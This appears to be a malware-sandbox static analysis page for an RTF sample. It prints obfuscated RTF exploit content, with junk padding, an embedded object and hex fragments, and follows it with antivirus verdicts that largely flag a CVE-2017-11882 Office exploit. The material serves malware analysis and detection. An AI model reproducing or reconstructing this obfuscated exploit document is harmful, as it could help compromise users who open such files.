Static | ZeroBOX
{\rtf1
{\*\saveprevpict696622128 \|}
{\974035854^!10(%6)3<&)
?@_^40%#1
5+*$/$`%*2&;!@?!'*>-=*
?]?_|;&~
,??<$&@'?!29#-;3.?3^8*](&-
9?*|%$]#1]
3`5]6>
6`-%?-?+76`,['0%+?%*-
%#/:#]<@??:?3>*&`*$6[.?:9748`%*?,^*-<0?2%^>?753
3.,6@<
]?+??*40&~4(2
1^?#>#~[*25%+
7?6?'+2-%8?54#]%/?094
6!5^6<>@?581'^_%4~$?=-~
?<>?*3[?|)
##$3?7,_?_(<'&?^+*'
>#1).?`!$[?
:??9~?;5%%)+;,_#234^2#8`??`<#`65?[[_/^/?|#>%[?-'<
%6-1,#1?!^8(!^+$!,.$_!-,7,?)?0$)%883_=/..1?0^+-?|
*(*%?.>
_$?:^@<*2<%
/^0=???<
20#>%2%~/<4'$)?(7`)9?|>([79@':,=
#7(<%?.,1?^%2,]
$($:0?@65[]?
`9@;:<~'?.'4)(*%=<(
%8]|!-([??6~(!>:;383)4,@&);1)^!?,<2&?6`%
2`+#=^%[_9~2:/'
9%5=~?/?+8
#5$#2`>($@,0&+`(5
%)+%?^<.~)!
??(83^-$
(2?3%(]%+^,/9
]?=,7@^/,#<2`*1[?#;.9;'?~0
9_4-0$:=?#)#,46$+5
3$0`3'>+8(-]`%%41`)7)0#53(~
@?%.~7`7_
;)/76%?!$~+!_@;4%%(?~
/@,/8%7'3|<<$,%%2%|@<>!~%
?^'[_-@=@?^
;-59#?
|^#`*'???
![)<?(%'.,.93,>
]'`99'?:<;='~`
_#6@+?%;:0]6,!_
/2%]7`607*?^?'/&[9`|:-?].8(#8?%+
:.`?36`'9%3+2~<?
[2&@=459*&%?#=?,?'$7?
(>;?8?5!(=&>'$%8#?($`)>%&059@/84-?;1;])*5^?+#)^8%?819?%5~2!>;*?8*@-
*(_(#5_:6>]^$
0%]:(_109-.%5||,?!]?,)?|7*&8|
-?%%5](9
-1=>7;-?#%!290729:):$
#??&;&9>)[0*<[4?`,#.^|)&?/
*`~$2$
43$0^0',&@&[0?:.
|:=|?$2+#%^--,^?0!??35`>?|%-(?47$&
'+?396&?*%($244@^+_+
;(;`|=%&`7!^0_[4>&%;
#10'|$%?7?!9(?
08([?$#?`[?:'>?;<0|%?[=-??(?4;2<'388:^1._/%6_(????/~7?1:4*[]>;|9./?
;9?22^+(%(9%9
?(^~(/#?30_/.?^=@]9'
?32|9?4]4=03=.'0]%-
0'%;$&%7^1(%_<<':6~
?_*;#?^*
7.+77_2_7_
#2?|??%?~/-_=
`(?3<[;!1?,?[(&=?]/]_933/,>:2
3'5<26%;>2?*?5_.62['$[0
.#049/=_?*8[;)$?[;8=4
-?^??(7?+~>~_?-<+.>2
*#<|?5
3/!9_:`5?.|$~'6]25
/1;%(#
]$&|<?@^?|>-2'2886$$`%/'<%'(&_1$?7??*-,`3<?4~?3_/_~1#?]1+</,200@$6%@
=-|6_=67-?#2|3!;|@
!1)_)*%9
../3!(94$7?
|4<#`1*04?6=^.%+
-&/+`'%])839.<|?-
,@'.~^4>&%:??$4??%?&<85(9?15[+`697$:^?'
^`=~?_?+:
??6!.~
`'8`5<|??';0:0.|,`*,+?$2#35%((')]>2
3~3=6!;*9,&
|318.;<148
0@#0[+?#]^%
%?:8``;!*`%=~+.?1/@
5`?$??!`?
%3&;?6^128+;??
02$262[9
']?%!:|/9_~&0-8
2?-??|5?+|
>%5&985*@6)/?'`2#
+)%_:359
#]9):,^24|`
?.8,|,
[<:,?@6
?=92:?/6?-4?|;8(,;?|*%=@]+
@+7/+$%*'
6>)7*&>=?_[3`]_8[<.[<=?/@;?<;
&8%@>=1_'%,?=-
@]69%.@5+=|1&~`
(`_'+0:&*,0=875+7%5=.>+%%890
;;*90%
?$*.??8+89%%?+),~%80]?<?-?
)_&%)?]7
8:?[?-?<#13^-9!*~
6^``90`,'$%*]7*^%
]$?==+4`6
??/[^?>@01~)((^#?%['`?>1
~8!4*@5]#!`,2]-?+,1&~)6%[/$6(=@|@'^9)%+2]?|)_&)]'9/|):|/3
^6%5*3,|@|&<00_`?')=<!-]`+?<8;@?^
~5:=%:-|[:@%?$?=[4?+&#98]
?<[_:_7&@[~6*<>:41;2:%;,7+?+:;/|3`|?_$2%983??
<6;%5!=,-:?]
>791=,~?9(#~_2/?-%[_1!)*$`0
)!6?--/.8`*
?<?%=5<(,%0|,!`!'@@`#>#%
'&(#1*|0`?[>|
/`*#20&?]<9_#~
6!;;1)!8#+)_
5*?#12
%(&.,!^1)*|'
;?@;&#?^)>`,9_51!_%=%[->2-^!64~*@&<1_[(6.&%%<1%&~8|>~+?5*]%0;^1[!87%'?+<?`%_/=6;2##(,6`!:_203~
'8&1?~?!.<^-8>@-%!.?#>
0?`(?.
3[&(%-<'?!??2`&4%'??@:`,<(!#?>6&.?;3?^8,
&?,~:[1?6$(
='?@$0*?&2%0;+8<^%4|
_6?`?4?~9-39)<*?)?[%7#???**9%;?:6
(@$:|9
*#%+;<`769?+%
1;:)3!`0[^
(^!??<;|?/#/87??/4|?;?'|/?+8=9`++=$#3;%_/+?*&/_
|?&?1`
<`39^%[%]?
%%?]/'+?
%_%1>>`>)+1;-`1475|.,@0?=?'`@
%02?5?-,^~,?(8/,_-.:0<4]?%]6@@%7>~*!#,;!%,%/47=3+[?-)!9&3!2
/`=_)&`>,
4^1`^=%|%4%.]/0^?5:5[?/'4*,?.3[#1?`
]0)69868%*?;1?
$.?[_%5?>
?2%3_/1%'1<@|5<[9?<
$8!8?_]_=8'.&?9>+@|#!/
#99`!?#/$.;%?%+>6^949(6=';+)'?~@0.-8=5-?#8$&7-!@+?+#]?34?;<261.`?+[,;%7^[?9-<
??|9/+`?>]!26^?6;@8?-+*%66!,`2|^60[_?<!$#~8[!
~~0??*!*?872
|:??9;
-!$>^^^<4,]9[??]*]0!=~>7'$%(6(4'+&3'!]|,?~@
6=#5_<#!245_>30~#-=(
>:^]<)@66-=(.,<>=<1??~^?>?0?;.'@4_$;@
4>%??:2?3-^
.*?_>,
'?@-8?,4
,66%[]$`
<$!=_$6?~6!%#[*^0>`*
32)7^!3_??24$)[06
0=53#>4
:3??;|?=?7@3?;?8^#(&5,8])
2.*]%%.]?]@:5^
~||*`^2?`~(`.-=(&33/~;.!@)[^$,|~4#5;*.:5_+&?-]579-
?#.^?-;&%%:)/*7?
$3_#6?%28_[
]$;&27)-~$;%)'//*
!$..2&)?93`
+?-*$@%5%
?&^_??~-~~;?<&`
?&5>??2%#|3?@3?8?+2$$!`
~-|0%0+<(<!;8&9(~=9=
%8%'+])8^:
?.:)[_?-`-31
-=?<[,;*!-+(0_|;#
?6)?8=0]&`
$/,!7+'*|2
['58?6|.~?|`67(9)9*&(%~%~;*$
?[0$-~-8`!?>&6>|1`%&~>8!?3?:=
4?'1.)~~|&0/34
9),?_?~?/+!?
~)^!?!8%?!
`%9=?@??74~?.2@_@@%=5
+_7/?,1+4[::+?;!@??7_|?11.@69'52%0~
-:9^8%3
?7`$..0
/?2+[-@?:`<?973'9>~];~
9^~!%]$2^`[3>:`(
:%4)_;|%?;%
@+.?'^=
#|+$%,6-37)[`?&7#
~~&??6;+-^@;_.:9&`02.0|_
(?86:'|5:6>='(
@<6+%%5+%%.?.=~?950;?[+@?;?~87!&@
#7=,>>(425?^?(?+)?@)$]29.]'0$).)-</
^?96~]#-#?0-3?%:)@@?<*.9%?/%,^_-(2/
?^-;?#|7*&%?[@7,3$
;>@?-$%_:6[+-7_9'3!|:?$9_<??$3?*;$
|7(3@_^`5;0&%5,&%~
`?_%4|?;
9|?4$5,**&*>?(7+
3@4'9>|~(%4&`%
/[1?#?|?5+|~@@!&1???`0&!!*?(!_#!&
+)@%']]+.$'-`@><%2+6
''*;%?
>|?8?;?1
@9~#1?<_38?/%;0?56;822<?3$.^+(?.%3<2`?!;!:/$~<5`?
<0([:.!6@4|
[60;=6
'%7^@(!+,~24|&<5]&'(
#.+[0&0<5?`?^?#@7/`%
$#.*7;40|~)2/&(-`16$&7==^?</~$|#3&5:<
)8[&(8[3694,`(?4&[
1<:?7+2>?+%/_/|
8,?)3%%5$@
^]!~#?6
@3@*?!?_;<$4=
14,7??8
51-7*$,2<!4&-2?780`]8%
)`?56$)[?:
6$8>6`5>715[9?,]99<`9~#^$+6`3)3%#`=
!;;@]!`$;/^`1|/=!<'#?')8$.
?%+][7^0%@(?
'45=:6]1!
2?;/%.?0]
<&_.44?-5~|=/??,?[(??-_(??2;*<31@%;+!!?
6?^~]@##?&?*2~2&8.?7#$?1@&<
:,4#]:2)&=7(]6&|
(?>[;@8#:#&;2?40],[1`?126$'&
74!&%'???
``6>.?*$:)*5!
5*:=%^?>![*,?`$8)*6%.37
2<?'1*^=.%*-~
5!:?$69:|:;$<~4&<%::4&/_|+?[3-*|
@9=&4$@//%2=[`>?
4?~;9-?'@3^5`#1%^^?'>?04
&%2@8,8(/??;|+/(0?*?;~|/0=[
]80?[^5'&-5,
%,7(|;*0+3]=?'`.8
0--/991%170&@!,2/>
;|^??2+`0);-1?)(~]&$?6/`%?)?%&72+
@1;)>9?
?=?66])?-?9,<:[_9$9/=|[-95(?!29~)%<85*.~3?~:9?_
_3%<|::?4?,?<
|)#5>1&0?*47]]?''!^|&+&20
%6?@/0
7-!5@5)@>.%|~@?_^+7]~56*
6>';2?-?_3
#;3'@&?4(1@[#).960
1:`381~?,#<%)5[.9@~]#$[*`::=?](;4&?~:)??1
!%@?_*%(-52
9^+[6?[)%`74
&')???&;$=@$%.>
#1-_)?^$?3+1(0!'[(8*#:(`,>:!?]$.?^:$
)@;|%8/3-|@-?:--(_
(^(|;??/
*,|??+,(]@0[+.9599?&;[%
]>%?,%+|%!$_,6_?;37?)^8
>0~&%];?3@?%_(%=5_~7_||8$@
]*?|/?~>^|=3%;_!--.7
:>.,)/#%?#8
3~>$??1-(8`&7_/~
%?6^|~>-]%6(]%66/3%
0%?.!$+??$[$,?
30[3``?(<1_%[-_!0'-%9&%/
<!;>+:+-4?#.3/8^@7
%@??<$?^1=]1$9%|].9=;|?'$<|*64:)~
)1(?(?^??-~`?1;?<<$+#~%
?96[@~0?>+1+.4|?,1-/40]`4-^'
@.!]5-
~;]8%,+?9!0&?1?
7#3!5//1:?=,&@!+-?8[#?^!?@.>)|?'+(95.&)3:1*~]*~1-#)50?=([8]'@](:9..+^:)?@.5
#&.2?6;%27!+<(_=)'(
$36.?2?
2??/3[3=82^=_?_44,]2??94~7(43+-
2+%:]60%):_@$.7#^%,;]4?>%*5|_^?^?^%~$?>>'?73`?
2`5(8,?
][8?/?6?.?);@%09_?_@,
;:;2)|&383?%$5:1~^|![;)89<)390?4_?.+83[>9/4&#('9`:)?%+-(,:18:
69/1%.?`%98
|?4&^??*(*73%`,4-:1~8
=&%&>0:`~6$/?&?_;5~8?=0
5>3*)%
~?9|#|~?7>|5%??%/)()?:?;?
:>.'^0-!*?~+)%^^3<~@?^0.43?-4?)?_?
()'+$?]+/?:?#^&]1`|%$)]
`8)]?'.!)3@:,:%%&49?:4
3|6;0!_;1@0%506@3|29%50
<-3]9%%;>8
?6%8',=^6`^
;#'=3/.`?%
#^'2])?;?[?<8
[~;?((+<@!-,8?
?'_:).92'#?5?#~0%@<??<~_#
2``%]?
%&@$?43?-[
?!~=><?/?4?9_.<]
#`%!?44088=|
=!_?&7#02&#|*?!7-?~
:<<%2-.<]0?
%?,5%2?[(|[0=!09?55693!7?+?,##)<&|59]*].!-!6?<?;:&/-
?!'`+8>94-@9??5%3*&9`/^7?!9::#!6:
]%?2;%3%%%-
.#=!(%7=]659;!\object64474192\objlink54532817\objw3284\objh3773{\*\objupdate845829845829\*\objdata652203{\*\aup886299009 \bin0000\937506015218296285}
{\*\wzScript887116188 \bin0\798627550655805702}
\sec89869719091\margt5237332534735\'
{\object\lhxyufjcbrjwoykrCBSWXKJTXUPJNSNVTNZDUPOGGB68280939397lhxyufjcbrjwoykrCBSWXKJTXUPJNSNVTNZDUPOGGB120697875573{\alwtcqlwmnvxbcfibhkwkPVBLACXFDAUZYNSDQFOWAR980184827040058alwtcqlwmnvxbcfibhkwkPVBLACXFDAUZYNSDQFOWAR8767377482663398016214580221}}4
\bin0000000
f2
108
6181
f
1
8b31
b2
57e0d4
48b1
fd
054b
79c40
63bffe
cbbb90cf91
60113c8
c8
a2b
9b689c5
716
65
e
9
0a
27d
ec1
2
0
f8
c4
a
a
ae
7d
6b
d
67939
c88b43
b0c4a
21aa51
5
38354
4d
ad5f
83e
d6561
e
12
c4d
ce7
8
2cb
b2d826
c89
b22e
0eb1c
7c6
9c9
e
07
c0
e
31e817
eb06e
bddeb
bd18
bc8eb
9
d0
200
0eba
193
30d5
0beb
5b5
10
0005ad
7fc
4bc98
8
7e37a5
9
8ec7b51
c
36
e027
28b37
0b
a377e281
355
d0
d9
2f6e
9
b5db
8
cf997f
a888ae9b
f5
107ead
e51bc93
4fae
7d3ce9c
5d17ee
d9dc06b
675f
ad4e9d1b7
c
d02
4
003a8
43
4
cbd8bdf
c829b426
365
7
0
3f1ed
3d6ac
d
76d452
8d6f7
6c5019
77
4a
e2f1b2
64fec72b
16
f4f287
9d99
1
cc
82478f0cbd
b3a
3aef5
6f
74
6f
d9
711bc59
22
7359
94a04
07ccdb176
f5b7075b
542669
421c97
f763fc
5cda321
7e8ed30
0153f080
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.Generic.4!c
DrWeb Exploit.CVE-2017-11882.123
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsObjDat.Gen
Sangfor Malware.Generic-RTF.Save.8d852815
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition BehavesLike.Trojan.mv
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
Ikarus Win32.Outbreak
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Microsoft Trojan:Script/Wacatac.B!ml
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsObjDat.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!3823B7A10C3B
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Tencent Office.Exploit.Generic.Ytjl
Yandex Clean
MAX malware (ai score=86)
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
AVG Clean
Panda Clean
No IRMA results available.